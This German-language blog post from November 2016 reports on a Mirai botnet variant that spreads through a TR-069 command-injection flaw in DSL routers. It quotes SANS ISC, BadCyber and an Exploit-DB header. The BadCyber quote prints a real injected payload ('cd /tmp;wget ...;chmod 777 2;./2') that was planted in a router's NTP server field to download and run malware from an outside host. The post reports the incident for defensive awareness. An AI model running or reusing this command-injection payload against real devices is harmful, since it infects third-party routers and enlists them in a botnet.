29.11.2016 10:49

Mirai goes TR-069

Zu Mirai hab ich hier schon viel geschrieben. Bis jetzt hat sich dieses Botnet rein über das Erraten von Passwörtern auf Telnet-Interfaces weiterverbreitet.

Das hat sich jetzt geändert:

Am 7. November hat jemand einen Proof-of-concept exploit für ein CPE (Customer premise equipment -- also DSL-Modem, Kabelmodem & co) veröffentlicht, der zeigt, wie man per TR-069 dem Gerät Schadsoftware unterschieben kann.

(TR-069 ist ein Protokoll zum Remote-Management von solchen Geräten: damit kann ein ISP seine Leihgeräte beim Kunden aktualisieren und konfigurieren. Dass die Qualität der Implementation dieses Protokolls nicht immer optimal ist, zeigt etwa ein Vortrag vom 31C3 von 2014. Slides vom Vortrag bei der hacklu 2014 sind auch verfügbar.)

Dieser Exploit wurde anscheinend in eine Variante des Mirai Botnets eingebaut. Zu spüren war das einerseits an der steigenden Frequenz von Scans auf TCP Port 7547, als auch durch das Fehlverhalten der Modems im Netz der deutschen Telekom.

Wie sehr Österreich betroffen ist, wissen wir noch nicht. Am 31C3 hatte ich nachgefragt, da war Österreich bei TR-069 nicht sehr präsent. Die großen ISPs scheinen ihr Netz so gebaut zu haben, dass sie TR-069 nicht über das offene Internet, sonder über getrennte Kanäle zu ihren CPEs betreiben.

Links dazu:

SANS ISC

For the last couple days, attack against port 7547 have increased substantially. These scans appear to exploit a vulnerability in popular DSL routers. This issue may already have caused severe issues for German ISP Deutsche Telekom and may affect others as well (given that the US is just "waking up" from a long weekend). For Deutsche Telekom, Speedport routers appeared to be the main issue.

According to Shodan, about 41 Million devices have port 7547 open. The code appears to be derived from Mirai with the additional scan for the SOAP vulnerability. Currently, honeypots see about one request every 5-10 minutes for each target IP.

BadCyber

New Mirai attack vector - bot exploits a recently discovered router vulnerability

...

On a lazy Sunday morning we got a message from one of our Polish readers about a strange behavior of his home router. The router rebooted every 15 to 20 minutes. The reader looked at the config and realized that his router got a new, suspicious entry in the NTP server name field, namely:

cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2

It's quite obvious that there must be a RCE in the NTP server name field, but how did the above mentioned string get there? We need to take a step back, because there is one more vulnerability to be described before we move further.

Exploit-DB

# Exploit Title: Eir D1000 Wireless Router - WAN Side Remote Command Injection
# Date: 7th November 2016
# Exploit Author: Kenzo
# Website: https://devicereversing.wordpress.com
# Tested on Firmware version: 2.00(AADU.5)_20150909
# Type: Webapps
# Platform: Hardware

Autor: Otmar Lendl